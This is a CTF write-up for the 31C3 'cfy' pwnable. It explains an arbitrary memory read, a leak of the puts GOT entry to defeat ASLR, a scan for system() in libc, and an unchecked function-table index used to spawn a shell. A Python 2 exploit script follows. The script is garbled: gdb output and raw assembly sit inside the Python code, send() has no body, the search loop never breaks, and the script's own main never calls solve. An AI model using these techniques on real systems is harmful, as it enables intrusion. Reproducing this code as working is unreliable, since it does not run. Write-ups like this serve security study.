31C3 CTF - cfy Writeup

05 January 2015 by sku

Binary analysis

cfy was a pwnable challenge in the 31C3 CTF worth 10 points, and accordingly was pretty straight forward.

$ file cfy
cfy: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f023c69bba5f53464912a2501e87fb098e19af5d, not stripped

The binary is fairly simple. The main loop asks the user for one of the possible options:

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

Options 0) and 1) are boring, but option 2) parse from pointer is interesting because it allows us to read 8 bytes of memory from anywhere in the process address space with one condition: the address must not contain a newline byte '\x0a', because the input is read in with fgets.

push    rbp
mov     rbp, rsp
mov     [rbp+user_input_buffer], rdi
mov     rax, [rbp+user_input_buffer] ; rax points to the user input string
mov     rax, [rax] ; read the first 8 bytes of the input string into rax
mov     rax, [rax] ; interpret these 8 bytes as an address and read from it
pop     rbp

With this option, we can leak nearly everything. Since ASLR is enabled, it makes sense to leak an address from the GOT to figure out where the libc is loaded, for example by leaking the puts entry at address 0x601018.

We can then continue leaking memory in the libc region around puts to figure out where system is (described in more detail in the commented exploit code below).

Once we have the address of system, we need to figure out how to get control over the instruction pointer. If we inspect the option handling a little closer, we can see that the index is not checked:

mov     eax, [rbp+entered_num]
shl     rax, 4
add     rax, 601080h
mov     rax, [rax]
mov     edi, offset buf ; 0x6010E0
call    rax

The user input buffer is located in the .bss section right after the .data section where the function table with the option handlers is:

  • Function table is at address 0x601080
  • Our input is at address 0x6010E0

If we fill the buffer with the address to system and use a larger (out of bounds) array index for the function table, we can call system this way. The binary conveniently prompts us for the number: input and passes this to the function we call via rdi - which means it will call system with our next input string as first argument; perfect!

Exploit code

#!/usr/bin/env python2
# Author: @skusec

import socket
import time
import struct
import telnetlib
import re

# Get the first 8 bytes of the system() function, the remote libc should look the same.
gdb-peda$ disas/r system
Dump of assembler code for function system:
    0x00007ffff7a5a530 <+0>:0x00007ffff7a5a530  48 85 ff        test   rdi,rdi
    0x00007ffff7a5a533 <+3>:0x00007ffff7a5a533  74 0b           je 0x7ffff7a5a540 <system+16>
    0x00007ffff7a5a535 <+5>:0x00007ffff7a5a535  e9 26 fb ff ff  jmp    0x7ffff7a5a060

SYSTEM_BYTES = '4885ff740be926fb'.decode('hex')
PUTS_GOT = 0x601018

class cfy(object):
    def __init__(self, ip='localhost', port=3313):
        self.ip = ip
        self.port = port
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
        self.s.connect((ip, port))

    def readuntil(self, what):
        buf = ''
        while not buf.endswith(what):
            buf += self.s.recv(1)
        return buf

    def readline(self):
        return self.readuntil('\n')

    def send(self, what):

    def leak8(self, address):
        msg = struct.pack('<Q', address)
        if '\n' in msg:
            raise RuntimeError('Leaking at address %016x no possible because it contains a newline byte.' % address)

        self.readuntil('3) quit\n')
        self.readuntil('number: ')
        self.send(msg + '\n') 

        answer = self.readline()
        assert 'hex:' in answer
        m = re.search(r'hex: (0x[0-9a-f]+)', answer, re.MULTILINE)
        leak = int(m.group(1), 16)
        return struct.pack('<Q', leak)

    def solve(self, interact=False):
        self.puts = struct.unpack('<Q', self.leak8(PUTS_GOT))[0]
        print('Found puts at %016x' % self.puts)

        # Remote libc looks very similar to stock 14.04 Ubuntu AMD64 libc, find system somewhere
        # in the proximity of where we would find it locally.
        # This required some trial & error.
        found = False
        for i in xrange(100000):
            address = self.puts - 0x2a000 - 8 * i
            leaked = self.leak8(address)
            print('Leaked 8 bytes at address %016x: %s' % (address, leaked.encode('hex')))
            if leaked == SYSTEM_BYTES:
                found = True

        if not found:
            raise RuntimeError('Could not locate system() address.')

        self.system = address
        print('Found system at %016x' % self.system)

        # cfy uses a function table located a bit earlier in the .data section to jump to the
        # option handler, but it does not verify the index properly. If we use a larger index,
        # we can make it call a function whose address is located in our input buffer:

        mov     eax, [rbp+entered_num]
        shl     rax, 4
        add     rax, 601080h
        mov     rax, [rax]
        mov     edi, offset buf
        call    rax

        # Set the system() address.
        self.readuntil('3) quit\n')
        payload = struct.pack('<Q', self.system) * (0x400 // 8)
        payload += '\n'

        # Perform the call with edi (rdi) pointing to the input buffer filled with /bin/sh.
        self.readuntil('3) quit\n')
        self.send('15\n') # Index 15 points to the start of our input buffer.
        self.readuntil('number: ')

        # Collect cookies.
        if interact:
            t = telnetlib.Telnet()
            t.sock = self.s
            self.send('pwd ; id ; uname -a ; ls -l\n')
            print self.s.recv(2048)

if __name__ == '__main__':
    challenge = cfy()